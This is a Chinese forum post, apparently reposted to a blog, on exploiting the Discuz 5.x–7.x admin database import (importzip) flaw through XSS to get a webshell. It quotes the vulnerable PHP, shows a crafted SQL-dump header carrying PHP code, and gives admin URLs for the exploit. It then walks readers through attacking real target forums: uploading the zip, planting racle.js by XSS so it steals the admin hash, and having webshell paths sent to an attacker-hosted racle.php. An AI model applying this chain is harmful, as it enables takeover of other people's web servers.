通杀Discuz 5.x 6.x 7.x EXPdatabase XSS

by racle @tian6.com
欢迎转帖,但请保留版权信息
受影响版本Discuz 5.0 _ 5.5 _ 6.0 _ 6.1 _ 7.0 gbk+utf+big5


-----------------------------------------------------------前言-------------------------------------------------------------------------

最近DZ漏洞多多,而且都比较有趣.上次天阳公布的那个后台修改配置信息的漏洞应用,因为DZ6.1以后版本都默认补了,相信不少小黑很失望.但是最近,Superhei&ring04h又爆出了一个后台database.inc.php的漏洞,相信大家也都知道.该洞目前为止,没补丁.所有DZ版本通杀.

但是是需要后台权限的,怎么才能为我们广泛所用?网上不少人都不会,有些本地都不知道怎么测试.于是我先给本论坛的朋友分析一下.
分析过程中幸得Superhei提点.加快了进度.在此感谢.


本帖受TIM邀请发布~~不过利用文件暂时先只提供给天阳核心会员下载.4号晚上或者5号白天再公开下载权限.有兴趣的朋友欢迎留意.同时压缩文件的密码也要回复才可见.你可以先回了,拿到密码再说.回帖的朋友,再送你一个意外惊喜.这里只做技术研究,点到为止,同时为大家附上修补方法,回复可见!

本论坛相关的两篇文章:
[已更新]Discuz XSS得webshell
配合Discuz得shell-Flash XSS





-------------------------------------------------原漏洞详细解析-----------------------------------------------------------------------------
这里引用该漏洞原来的介绍:

[Copy to clipboard] [ - ]
CODE:Discuz! admin\database.inc.php get-webshell bug

author: ring04h
team:http://www.80vul.com

[该漏洞由ring04h发现并且投递,thx]
由于Discuz!的admin\database.inc.php里action=importzip解压zip文件时,导致可以得到webshell.

一 分析

在文件admin\database.inc.php里代码:

.....
elseif($operation == 'importzip') {

require_once DISCUZ_ROOT.'admin/zip.func.php';
$unzip = new SimpleUnzip();
$unzip->ReadFile($datafile_server);
if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match("/\.sql$/i", $importfile = $unzip->GetName(0))) {
cpmsg('database_import_file_illegal', '', 'error');
}

$identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip->GetData(0), 0, 256))));
$confirm = !empty($confirm) ? 1 : 0;
if(!$confirm && $identify[1] != $version) {
cpmsg('database_import_confirm', 'admincp.php?action=database&operation=importzip&datafile_server=$datafile_server&importsubmit=yes&confirm=yes', 'form');
}

$sqlfilecount = 0;
foreach($unzip->Entries as $entry) {
if(preg_match("/\.sql$/i", $entry->Name)) {
$fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');
fwrite($fp, $entry->Data);
fclose($fp);
$sqlfilecount++;
}
}
......

注意2点
1. preg_match("/\.sql$/i", $importfile = $unzip->GetName(0)) 可以利用apache的特性如081127_k4pFUs3C-1.php.sql这样类似的文件.
2. $identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip->GetData(0), 0, 256)))); 所以要注意文件格式:[可以先备用下然后修改打包为zip]

# Identify: MTIyNzc1NzEyNSw2LjEuMCxkaXNjdXosbXVsdGl2b2wsMQ==
# <?phpinfo();?>
# <?exit();?>
# Discuz! Multi-Volume Data Dump Vol.1
# Version: Discuz! 6.1.0
# Time: 2008-11-27 11:38
# Type: discuz
# Table Prefix: cdb_

二 利用

提交:

<6.0 :admincp.php?action=importzip&datafile_server=./附件路径/附件名.zip&importsubmit=yes
=6.1 :admincp.php?action=database&operation=importzip&datafile_server=./附件路径/附件名称.zip&importsubmit=yes&frames=yes

三 补丁[fix]


漏洞起因很清楚了,疏忽大意是安全最大的敌人.




------------------------------------------------大至XSS广泛利用原理---------------------------------------------------------------------
很简单,还是XSS等延伸.

XSS跳到JS,JS获得管理员HASH,模拟POST+GET提交这个备份数据库解压缩工作.这里关键主要两个:
一是上传后的物理路径如何获得.
二是备份后的路径如何获得.

一采用读取后台管理信息取得.
二通过geturl发送到外部文件中去.

其他的所有技术细节,在上面两篇文章都有说过.欢迎大家回去看看.




-------------------------------------------------------广泛利用及测试办法---------------------------------------------------------------------
附件提供3个附件,分别争对DZ 6.0 6.1 7.0三个版本.其他版本和这三个版本的差别主要在数据库导出的文件版本不同,还有一些很细微的小差异,我就不弄了.你有需要的话,自己看前面的帖子,搞明白怎么回事,就可以自己改了.

每个附件里面有3个文件,一个PHP,一个JS,一个ZIP.PHP和JS里面要修改几个小地方,里面都有说明.这里就不多说了.
racle.php要放到你自己的空间里,要支持PHP的空间.这个文件当管理员中招以后,会在同目录位置写出个listdewebshell.txt,里面是你的WEBSHELL所在位置.
racle.js是要XSS的JS文件.放哪里都可以.
[email=racle2@tian6.zip]racle2@tian6.zip[/email]是你要上传到该论坛的压缩文件.

利用具体步骤为:找到目标论坛,注册一个用户,然后上传一个racle2@tian6.zip.然后把PHP放在你的空间,把JS也放好,然后在目标论坛XSS这个racle.js,然后就等.一旦PHP文件同目录下出现了listdewebshell.txt,你就可以偷笑了.


测试具体步骤为:本地搭建任一版本DZ,随便选一个PHP,在最前面加上<script src=racle.js></script>,同时racle.js,racle.php放在该PHP同目录下,进入论坛,点击包含JS的PHP文件,即产生listdewebshell.txt.


-------------------------------------------------------注意事项---------------------------------------------------------------------
目前该漏洞属于通杀,也就是管理员中了你的XSS,就有WEBSHELL.DZ官网也如此.
但是有几个原则问题要说明一下:

首先是对方论坛的上传路径,上传文件目录什么的,要求没有改过.一般99%都没改过.改过也不是没办法,你先上传个图片,看看对方的物理路径是什么,然后改改文件就PASS了.

其次是你在别人论坛注册的用户名不要上传别的文件,只上传一次相应的ZIP.

然后是这几个ZIP文件我不保证也能用在别人的版本上,按道理是没问题的.这几个ZIP就是数据库备份出来的SQL文件的修改压缩版本.你不妨打开这些ZIP文件里面的SQL文件看看就知道我改了什么.

如果你使用出现什么bugs,欢迎回贴告诉我.能解决就解决掉~~
原文地址:https://www.cnblogs.com/qq78292959/p/2077089.html